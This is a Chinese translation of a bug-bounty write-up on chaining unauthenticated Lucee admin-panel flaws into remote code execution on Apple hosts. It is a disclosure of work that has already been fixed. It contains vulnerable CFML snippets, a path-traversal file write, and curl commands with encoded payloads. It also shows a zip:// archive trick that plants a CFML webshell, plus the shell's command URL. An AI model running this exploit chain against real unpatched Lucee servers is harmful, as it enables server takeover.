在Sam等人发布infamous blog post文章后,我们开始对apple进行黑客攻击。目标是专注于发现关键的漏洞,例如个人身份信息泄露或者访问Apple的服务器或者内网。这些是我们认为Apple会最感兴趣的bug类型。
在查看我们的侦察数据并确定可能正在运行的服务时,我们发现了三台主机在由Lucee支持的CMS上运行。
由于CMS和Lucee都可以轻松地在本地托管,因此它们是我们入侵的良好目标。
我们选择关注Lucee,因为它公开了管理面板并具有漏洞历史记录。Orange Tsai也曾在Breaking Parser Logic 简短地提到过,Lucee是Railo-context的分支。
可以在三台不同的Apple主机上访问Lucee的管理面板。两个正在运行一个过时的版本,另一个正在运行一个相当新的版本。
为了利用我们将在下面讨论的漏洞,我们需要了解Apple所使用的WAF,更重要的是要了解Facilities.apple.com上的前端服务器如何与之交互。
Apple的waf非常让人头疼,他通过检测URL(查询参数)来阻止几乎所有路径遍历/SQLI的尝试攻击。
Facilities.apple.com上的前端服务器(反向代理)配置为仅显示来自后端服务器的状态码为200和404的响应。如果您在后端得到其他的状态码,那么前端服务器将返回403,这与触发WAF时候相同。
在本地测试Lucee时,我们发现了配置错误,这将导致攻击者可以直接访问需要身份验证的CFM (ColdFusion)文件。这使我们即使完全未经认证,也可以执行许多需要认证的操作。
一旦您在CFM文件中点击了 request.admintype
变量/属性, 由于我们未通过admin身份认证,执行流程就会被终止。但是,在执行该检查之前的代码是可以正常执行的。因此,我们必须先在点击request.admintype
找到具有某种错误的文件。
我们使用一下这三个文件在安装Lucee的系统获得完整的预认证/未认证RCE:
为了复制Apple上的安装版本,我们获得了运行相同版本的Lucee的本地副本。不携带任何参数打开imgProcess.cfm
在我们的安装环境下会回显一个错误。在Apple服务器上打开则会返回403,则意味着这个文件是存在的。我们只需要指定正确的参数/值即可;否则,后端服务器将会抛出一个异常,前端服务器将为此返回403.
参数错误时 -
参数正确时 -
这个文件具有路径遍历漏洞,允许使用我们给定的内容在服务器上的任何位置创建文件。
<cfoutput>
<cffile action="write"
file="#expandPath('{temp-directory}/admin-ext-thumbnails/')#\__#url.file#"
Output="#form.imgSrc#"
createPath="true">
</cfoutput>
则需要一个查询参数file
并将其创建为带有以下行的文件:
{temp-directory}/admin-ext-thumbnails/__{our-input}
我们的输入可以被POST参数imgSrc
来定义。
正如你已经看到的一样,__
目录必须在进行路径遍历之前存在,因为linux要求在进行目录遍历之前必须存在路径。幸运地是,expandPath
会创建不存在的路径并将路径以字符串返回。因此,通过file=/../../../context/pwn.cfm
将会创建__
目录并遍历webroot中的上下文目录,从而在此给我们一个简易的RCE。
然而即使存在这个bug,由于WAF拦截查询参数中的../
,我们不能在Apple这个案例上进行利用。 该端点指定要求file
作为查询参数(url.file,而不是form.imgsrc
)。如果两者都是form或post参数,则不会触发WAF, 我们仍然可以使用该端点来创建我们在确定的目录中控制的名称和内容的文件,而无需触发WAF
admin.search.index.cfm
允许我们指定目录并将其内容复制到所需位置。但是,复制功能非常棘手,实际上不会复制文件内容,也不会保留文件扩展名。
该端点采用两个参数:
dataDir
是您要将文件复制到luceeArchiveZipPath
参数指定的路径。如果该路径不存在,他将会被创建,我们可以在这里传递绝对路径。
<cfif not directoryExists(dataDir)>
<cfdirectory action="create" directory="#dataDir#" mode="777" recurse="true" />
</cfif>
请求示例:
GET /lucee/admin/admin.search.index.cfm?dataDir=/copy/to/path/here/&LUCEEARCHIVEZIPPATH=/copy/from/path/here HTTP/1.1
Host: facilities.apple.com
User-Agent: Mozilla/5.0
Connection: close
既然我们知道复制功能不是标准的,那么让我们更深入地研究负责此功能的代码。
我们注意到了这个有趣的CFML标签:
<cfdirectory action="list" directory="#luceeArchiveZipPath#" filter="*.*.cfm" name="qFiles" sort="name" />
它列出了luceeArchiveZipPath目录中的文件。filter属性表示仅列出格式为*.*.cfm
的文件
该查询的结果最终存储在"qFiles"变量中。
接下来,它遍历每一个文件(文件存储在currFile变量),将文件名中出现的'cfm'替换为空白符,并将此更新的文件名存储在currAction变量中。因此,如果我们有一个文件test.xyz.cfm
,它将变为test.xyz
。
<cfset currAction = replace(qFiles.name, '.cfm', '') />
然后,它检查dataDir目录中是否存在诸如“ test.xyz.en.txt”或“ test.xyz.de.txt”之类的文件名。同样,dataDir变量是用户控制的。如果此文件不存在,它将用空格替换文件名中的点('.'),并将其保存到pageContents.lng.currAction变量中。
<cfif fileExists('#dataDir##currAction#.#lng#.txt')>
<cfset pageContents[lng][currAction] = fileRead('#dataDir##currAction#.#lng#.txt', 'utf-8') />
<cfelse>
<!--- make sure we will also find this page when searching for the file name--->
<cfset pageContents[lng][currAction] = "#replace(currAction, '.', ' ')# " />
</cfif>
稍后,将创建文件test.xyz.\<lang> .txt,pageContents.lng.currAction变量的值将成为其内容。
对于我们来说不幸地是,尽管我们可以通过文件名本身来控制文件的内容,他也会创建.txt文件。但是随着进一步的发展,我们将看到如何利用文件名本身来搞事情;)。
之后,将currFile的内容存储在data变量中,过滤出内容与正则表达式不匹配的文件 [''"##]stText\..+?[''"##]
,然后将它们放入finds数组中。
<cfset data = fileread(currFile) />
<cfset finds = rematchNoCase('[''"##]stText\..+?[''"##]', data) />
然后,它遍历finds数组,并检查每个项是否作为键存在。如果没有,它将创建它作为键并将其存储在searchresults变量中。
<cfloop array="#finds#" index="str">
<cfset str = rereplace(listRest(str, '.'), '.$', '') />
[..snip..]
<cfif structKeyExists(translations.en, str)>
<cfif not structKeyExists(searchresults[str], currAction)>
<cfset searchresults[str][currAction] = 1 />
<cfelse>
<cfset searchresults[str][currAction]++ />
</cfif>
</cfif>
</cfloop>
最后,这些键(即searchresults变量)以JSON格式存储在dataDir目录内名为“ searchindex.cfm”的文件中。
<cffile action="write" file="#dataDir#searchindex.cfm" charset="utf-8" output="#serialize(searchresults)#" mode="644" />
如果您没有弄清楚, 这时我们可以通过imgProcess.cfm
和admin.search.index.cfm
结合来在https://facilities.apple.com 有个不错的rce。
我们已经可以控制一个复制文件到(dataDir参数)的目录和可以指定一个目录从(luceeArchiveZipPath参数)复制文件。
现在,如果可以在服务器某处上创建一个名称为server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm
,内容则是"#stText.x.f#"
的文件,则可以通过luceeArchiveZipPath将其路径传递给admin.search.index.cfm
。由于此关键server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm
不存在,将创建它并将其写入名为searchindex.cfm的文件中。这意味着我们可以在使用dataDir参数指定的任何目录中的searchindex.cfm文件中控制CFML标签(类似于PHP标签),这意味着我们可以使用webroot路径在服务器上执行代码!
我们可以利用 imgProcess.cfm
来在目标的文件系统上创建一个server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm
文件,其内容与RegExp相匹配[''"##]stText\..+?[''"##]
。
这种尝试不会触发WAF,因为我部正在这里进行路径穿越。
"#stText.x.f#"
(以匹配正则表达式)的内容,名称为server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm
的文件,我们需要对文件名进行URLencode编码,因为后端(tomcat)不喜欢某些字符。curl -X POST 'https://facilities.apple.com/lucee/admin/imgProcess.cfm?file=%2F%73%65%72%76%65%72%2e%3c%63%66%66%69%6c%65%20%61%63%74%69%6f%6e%3d%77%72%69%74%65%20%66%69%6c%65%3d%23%55%72%6c%5b%27%66%27%5d%23%20%6f%75%74%70%75%74%3d%23%55%72%6c%5b%27%63%6f%6e%74%65%6e%74%27%5d%23%3e%2e%63%66%6d' --data 'imgSrc="#stText.Buttons.save#"'
curl 'http://facilities.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=/full/path/lucee/temp/admin-ext-thumbnails/__/'
curl https://facilities.apple.com/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell
由于imgProcess.cfm
在较早的版本中不可用,因此我们必须找到其他方法才能在其他两个主机上获得RCE。我们遇到了另一种巧妙的方法;)。
ext.applications.upload.cfm
部分未经身份验证。该代码段非常简单。我们需要传递带有.lex
文件名扩展名的form参数extfile
,否则我们将收到异常。
<cfif not structKeyExists(form, "extfile") or form.extfile eq "">
...
</cfif>
<!--- try to upload (.zip and .re) --->
<cftry>
<cffile action="upload" filefield="extfile" destination="#GetTempDirectory()#" nameconflict="makeunique" />
<cfif cffile.serverfileext neq "lex">
<cfthrow message="Only .lex is allowed as extension!" />
</cfif>
<cfcatch>
...
</cfcatch>
</cftry>
<cfset zipfile = "#rereplace(cffile.serverdirectory, '[/\\]$', '')##server.separator.file##cffile.serverfile#" />
对于.lex
后缀,我们可以看这段代码:
<cfif cffile.serverfileext eq "lex">
...
type="#request.adminType#"
...
</cfif>
因为我们没有request.admintype
设置,所以会导致异常。但是,我们的文件仍在上传之前上传,可以在这里确认:
.lex
文件其实不过是一种.lex
后缀的归档或zip文件,这实际上是Lucee的扩展名格式,也是我们允许上传的。另外,由于不检查内容,因此我们可以将其设置为任何内容。
通过把玩Lucee,我们知道它允许使用协议或schemes,利用zip://,file://等(我们在此利用链中使用),因此我们可以在文件系统功能受到完全控制的任何地方指定这schemes输入(比如在这种情况下的luceeArchiveZipPath)。
现在,我们可以利用ext.applications.upload.cfm
创建.lex
文件,它是包含一个文件名为server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm
和"#stText.x.f#"
作为内容的ZIP档案。
一旦将ZIP存档保存在文件系统上,就可以使用luceeArchiveZipPath变量中的zip://在ZIP存档中查询*.*.cfm
文件;
创建一个以server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm
命名且内容"#stText.x.f#"
的文件,并将其压缩为payload.lex
。
在之前提到过 ext.applications.upload.cfm
未认证处上传.lex
文件
curl -vv -F [email protected] https://booktravel.apple.com/lucee/admin/ext.applications.upload.cfm
在文件系统部署了任意的.lex
(zip存档)和zip://方案后,我们可以执行一下操作。
curl https://booktravel.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/web/context/exploit/&luceeArchiveZipPath=zip:///full/path/lucee/web/temp/payload.lex
现在,我们名为server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm
的文件已作为文本添加到/<lucee web>/context/exploit/
下面的searchindex.cfm文件中,我们可以通过以下方式访问它https://booktravel.apple.com/<lucee root>/exploit/searchindex.cfm
Webshell : https://booktravel.apple.com/lucee/exploit/test.cfm?cmd=id
由于存在负载均衡,因此我们不得不使用intruder来找到我们的shell 。
Apple迅速解决了该问题,但要求我们在进行其他更改之前不要披露此问题。对于这些问题,Apple给予我们总计50,000美元的奖励。
另一方面,我们和苹果也与Lucee进行了交谈。Lucee团队还通过限制直接访问cfm文件(这是commit链接)来修复该错误。不过,我们仍在等待CVE分配。
强烈要求Apple产品安全团队保持透明并允许披露本文内容!
如果您有任何疑问,请通过@rootxharsh&@iamnoooob ping我们。
感谢您的阅读,祝您度过愉快的一年!
本文为翻译文章,原文链接:https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md